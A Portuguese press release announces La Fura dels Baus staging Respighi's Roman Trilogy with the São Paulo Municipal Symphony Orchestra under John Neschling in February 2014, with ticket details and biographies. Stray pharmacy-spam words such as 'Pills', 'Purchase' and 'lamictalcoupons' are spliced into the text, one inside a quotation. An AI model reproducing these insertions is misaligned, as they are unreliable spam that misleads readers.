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La Fura Dels Baus abre temporada sinfônica do TMSP

online Grupo catalão apresenta Trilogia Romana de Ottorino Respighi com Orquestra Sinfônica Municipal e regência de John Neschling. Pills


SERVIÇO

Theatro Municipal de São Paulo

online Praça Ramos de Azevedo, s/nº.
Fone: 11 3397-0300 / Bilheteria: 11 3397-0327

Dias 15/02, sábado, às 20h. e 16/02, domingo, às 17h.

Purchase Ingressos: R$ 20 a R$ 60 – meia-entrada para estudantes.
Bilheteria do Theatro Municipal lamictalcoupons
De segunda a sábado das 10h às 19h.
Domingo das 10h às 17h.
Nos espetáculos à noite, até o início do evento;
Em dias de espetáculos pela manhã, a partir das 9h.

Sugestão etária: acima de 10 anos.
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Nos dias 15 e 16 de fevereiro o Theatro Municipal de São Paulo abre sua temporada sinfônica 2014 com um concerto que tem a participação do celebrado grupo teatral catalão La Fura dels Baus, fundado em 1979 em Barcelona, que apresenta os três poemas sinfônicos da “Trilogia Romana” de Ottorino Respighi – Festivais Romanos, Fontes de Roma e Pinheiros de Roma.

Vamos dar a ênfase máxima aos músicos da orquestra neste formato híbrido, que é apoiado em um jogo de luzes, sombras e video-criações do cineasta e fotógrafo francês Emmanuel Carlier”, destaca Carlus Padrissa, diretor do grupo. Os três poemas são definidos pelas ruas e praças da cidade eterna.

No palco estará apenas o maestro John Neschling acompanhado pelos músicos da Orquestra Sinfônica do Municipal (OSM). A música de Respighi permite que os músicos e os seus instrumentos sejam os grandes jogadores com seus movimentos coreografados, determinados pela riqueza da partitura e pelas projeções em vídeo.
“Trata-se de ver as linhas brilhantes, que dão ao som produzido pela orquestra sinfônica a reinterpretação das ideias que passaram pela cabeça de Respighi ao compor as três grandes peças. Música e luz, movimento e fotografias. Um jogo de correspondências entre o fogo interior do ser humano e do material: pedra / água / pinho”, completa Padrissa.

Para o maestro John Neschling, diretor artístico do Theatro Municipal de São Paulo, “ Order o público de São Paulo terá uma oportunidade sem precedentes de assistir a um dos grupos mais criativos da cena artística mundial”.

La Fura dels Baus foi fundado em 1979 e alcançou fama internacional pelo trabalho com teatro digital, teatro de rua, ópera, performances e teatro contemporâneo. Em 1992 foi a responsável pela abertura dos Jogos Olímpicos de Verão, em Barcelona, que foi transmitida e assistida ao vivo por mais de 500 milhões de espectadores. O espetáculo L’home del mil.leni, para celebrar o novo milênio em 2000, teve um público de mais de 20 mil pessoas em Barcelona; A Divina Comédia, apresentada em Florença, teve mais de 35 mil espectadores; La Navaja en el Ojo, que abriu a Bienal de Valencia, atraiu um público de mais de 20 mil pessoas.

A Fundação Theatro Municipal de São Paulo é uma fundação de direito público ligada à Secretaria Municipal de Cultura e mantém contrato de gestão com o Instituto Brasileiro de Gestão Cultural.

 

ORQUESTRA SINFÔNICA MUNICIPAL DE SÃO PAULO

A formação da Orquestra Sinfônica Municipal de São Paulo remonta a 1921, dez anos após a inauguração do Theatro Municipal, por meio da Sociedade de Concertos Sinfônicos de São Paulo. Em mais de 90 anos de história, a Orquestra tocou sob a regência de maestros como Mstislav Rostropovich, Ernest Bour, Maurice Leroux, Dietfried Bernett, Kurt Masur, além de Camargo Guarnieri, Armando Belardi, Edoardo de Guarnieri, Eleazar de Carvalho, Isaac Karabtchevsky, Sergio Magnani, além de vários compositores regendo suas obras, como Villa-Lobos, Francisco Mignone e Penderecki. Solistas de renome se apresentaram com o grupo, como Magda Tagliaferro, Guiomar Novaes, Yara Bernette, Salvatore Accardo, Rugiero Ricci, dentre muitos outros. Desde o início de 2013 a Orquestra Sinfônica Municipal de São Paulo tem como diretor artístico o maestro John Neschling.


JOHN NESCHLING –
Direção Musical e Regência

Diretor Artístico do Theatro Municipal de São Paulo, John Neschling voltou ao Brasil após alguns anos em que se dedicou à carreira na Europa, e depois de ter durante 12 anos reestruturado a Osesp, transformando-a num ícone da música sinfônica na América Latina. Durante a longa carreira de regente lírico, Neschling dirigiu musical e artisticamente os Teatros de São Carlos (Lisboa), St. Gallen (Suíça), Bordeaux (França), Massimo de Palermo (Itália), foi residente da Ópera de Viena (Áustria) e se apresentou em muitas das maiores casas de ópera da Europa e dos EUA, em mais de 70 produções diferentes. Dirigiu ainda, nos anos de 1990, os teatros municipais do Rio de Janeiro e de São Paulo.

Como regente sinfônico, tem uma longa experiência frente a grandes orquestras dos continentes americano, europeu e asiático. Suas gravações têm sido frequentemente premiadas e o registro de Neschling para a Sinfonia N.1 de Beethoven foi escolhido pela revista inglesa Gramophone como um dos melhores da história. No momento, se prepara para gravar o terceiro volume das obras de Respighi pela gravadora sueca BIS, frente à Filarmônica Real de Liege (Bélgica).
Neschling nasceu no Rio de Janeiro em 1947 e sua formação foi brasileira e europeia. Seus principais mestres foram Heitor Alimonda, Esther Scliar e Georg Wassermann no Brasil, Hans Swarowsky em Viena e Leonard Bernstein nos EUA.
É membro da Academia Brasileira de Música.


CARLUS PADRISSA –
Diretor Cênico

Carlus Padrissa é um dos seis diretores artísticos da inovadora companhia de teatro catalã La Fura dels Baus. Fundada em 1979, é conhecida por ter sua linguagem própria, na qual a participação da plateia é um componente essencial para o desenvolvimento do espetáculo. Alguns dos primeiros espetáculos da companhia foram Accions (1984), Suz/O/Suz (1985), Tier Mon (1988), Noun (1990) e MTM (1994). Também participaram da cerimônia de abertura das Olimpíadas de 1992, em Barcelona. Os primeiros trabalhos de Padrissa com ópera, e em colaboração com Àlex Ollé e Jaume Plensa, incluem La Atlántida (1996) de Manuel de Falla, O Martírio de São Sebastião (1997) de Debussy e A Danação de Fausto (1999) de Berlioz para o Festival de Salzburgo; A Flauta Mágica (2003) na Ruhr Biennale; O Castelo de Barba Azul (2007) de Bartók e O Diário de um desaparecido (2007) de Janáčk, co-produções da Ópera de Paris e do Liceu de Barcelona.

O trabalho de Padrissa com o condutor Zubin Mehta inclui o ciclo do anel de Wagner em Valência e Florença, Tannhäuser para o La Scala e Turandot, em Munique. Em 2008 ele dirigiu Michaels Reise um die Erde no Festival de Viena, na Ópera de Colônia, na Bienal de Veneza e no Festival de Outono de Paris. Padrissa também dirigiu a Carmina Burana em Valência e As Troianas no teatro Mariinsky em São Petersburgo. Com Alex Ollé dirigiu A Ascenção e Queda da cidade de Mahagonny de Weill em Madri, na Ópera Bolshoi de Moscou, e Atenas. Participou da estreia mundial de quatro óperas: Don Quixote de José Luis Turina, em Barcelona (com Alex Ollé); Auf den Marmolkippen, de Giorgio Battistelli em Manheim; Sonntag auf Licht, de Stockhausen em Colônia; e a Trilogia Romana (2011) de Respighi no Palau de les Arts, Barcelona. Recentemente, encenou Parsifal para a Ópera de Colônia, Sansão e Dalila para a Ópera de Roma e Aida para a Arena de Verona (com Alex Ollé).

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